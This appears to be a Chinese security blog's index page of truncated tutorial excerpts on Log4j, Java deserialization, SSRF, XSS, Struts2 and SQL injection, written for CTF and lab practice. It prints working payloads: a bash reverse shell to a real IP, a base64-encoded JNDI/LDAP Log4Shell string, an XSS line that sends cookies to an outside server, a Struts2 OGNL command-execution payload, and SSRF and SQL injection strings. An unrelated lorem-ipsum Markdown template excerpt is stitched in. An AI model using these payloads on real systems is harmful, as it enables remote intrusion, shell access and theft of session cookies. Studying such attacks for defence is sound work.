Log4j漏洞复现实战
log4j本身会解析JNDI。攻击者可以直接在JNDI注入代码,从而实现远程代码执行
这里我使用已经搭建好的靶场进行试验
这里写了个反弹shell的playload命令:
1bash -i >& /dev/tcp/106.53.39.247/23172 0>&1
采用JDNI注入脚本JNDIExploit-1.2-SNAPSHOT.jar
需要进行base64加密
在服务器终端上开启恶意代码的端口
另一个终端上开启监听
构造出我们的playload
1${jndi:ldap://106.53.39.247:1389/Basic/Command/Base64/c2ggLWkgPiYgL2Rldi90Y3AvMTA2LjUzLjM5LjI0Ny8yMzE3MiAwPiYx}
即可完成反弹shell
简介log4j全名就是(log for java),就是apache的一个开源的日志记录组件 ,它在Java项目中使用的比较广泛。
Log4j漏洞,特别是被称为“Log4Shell”的漏洞(CVE- ...
下面是在 Astro 中编写 Markdown 内容时,可以使用的一些基本 Markdown 语法示例。
标题你应该避免在 Markdown 正文中重复创建文章标题,因为文章标题会根据 frontmatter 中 title 自动生成。
避免标题层级过深,一般到三级标题就够了。
一级二级三级 inline code四级五级六级段落Xerum, quo qui aut unt expliquam qui dolut labo. Aque venitatiusda cum, voluptionse latur sitiae dolessi aut parist aut dollo enim qui voluptate ma dolestendit peritin re plis aut quas inctum laceat est volestemque commosa as cus endigna tectur, offic to cor sequas etum rerum idem sintibus eiur? Quianimin porecus evelectur, cum qu ...
JAVA反序列化
序列化调用的函数序列化:java.io.ObjectOutputStream 类中的 writeObject()实现 Serializable 和 Externalizable 接口的类才能被序列化
反序列化调用的函数反序列化:java.io.ObjectInputStream 类中的 readObject()
在 Java中,重写的方法会优先执行。如果重写了readObject(),并且函数中某个参数的输入可控,那么攻击者就可以输入任意命令(代码)。在反序列化过程中调用readObject()方法时,就会执行恶意命令,造成攻击
课程
java反序列化1
java反序列化2
例题
URLDNS链URLDNS链不能执行命令,通常作为验证是否存在反序列化漏洞的一种方式。
脚本 ysoserial.jar
用法
1java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'
URLDNS例题        来自ctfshow846 ...
SSRFSSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。
PHP在PHP中的curl(),file_get_contents(),fsockopen()等函数是几个主要产生ssrf漏洞的函数
curl()
形如:
curl(url)
file_get_contents()
形如:
file_get_contents($_POST[‘url’]);
绕过各种进制的内网地址
12345678910111213#默认http://127.0.0.1#16进制http://0x7F000001#10进制((127*256+0)*256+0)*256+1//计算过程http://2130706433#8进制http://0177.0000.0000.0001
302跳转绕过
1http:// ...
XSS远程执行漏洞常用js语句12345document.cookie				用于js获取当前网页的cookie值window.location.href			 用于获取当前页面地址链接window.location.href='www.baidu.com'	  用于相当于跳转地址
常用playload:
1<script>window.location.href='http://[ip]/xss.php?cookie='+document.cookie</script>
我直接买了一个服务器并且开放了读写权限可以拿来实验XSS123456相关的ip和playload<script>window.location.href='http://106.53.207.220/xss.php?cookie='+document.cookie</script>回显请看http://106.53.207.220/cookie.txt
绕过
过滤script标签
12<body  ...
JAVA漏洞
Struts2漏洞脚本
Struts2Scan
例子:使用S2-009漏洞获取shell
-u url
-n 漏洞名称
-e 命令行
12python3 Struts2Scan.py -u http://b03293c4-fdd9-4c93-8861-d521da0383bf.challenge.ctf.show/S2-009/showcase.action -n S2-008 -e
S2-001playload :
123%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(&quo ...
sql盲注
写在前面:盲注可以使用逻辑符and来对我们的指令进行判断如: /?id=1’ and length(database())=8– #
1234常用判断语句和函数length(database())=8 判断当前所在库的长度为8left()函数返回str字符串中最左边的长度字符。如果str或length参数为NULL,则返回NULL值 如:left(str,length):substr()函数:从指定位置开始的输入字符串返回一个子字符串。SUBSTR(字符串, 起点);
布尔盲注
第一步:寻找注入点(略)
第二步:判断数据库长度,然后猜测数据库名字判断当前所在库的长度为8: ?id=1’ and length(database())=8–+
然后可以开始进行数据库的猜测了。
猜测数据库第一位: ?id=1’ and left(database(),1)>’a’ –+ 以此类推可以获得库名
获得库名后可以查表了:?id=1’ and ascii(substr((select table_n ...
sqlmap使用
常用参数
12345常用参数--dbs 所有数据库--tables 所有表--columns 所有列
第一步:开始脚本注入
使用sqlmap -u url来进行注入
例:
sqlmap -u “http://d96b8b94-0e30-4e6a-810b-caf654fe2b02.challenge.ctf.show/?id=“
第二步:查表执行上述命令后得到注入成功的回显然后可以进行查库操作
如上述命令执行后得到
12345678910available databases [7]:                                                                                                                                                                                    [*] ctfshow[*] ctftraining[*] information_schema[*]  ...







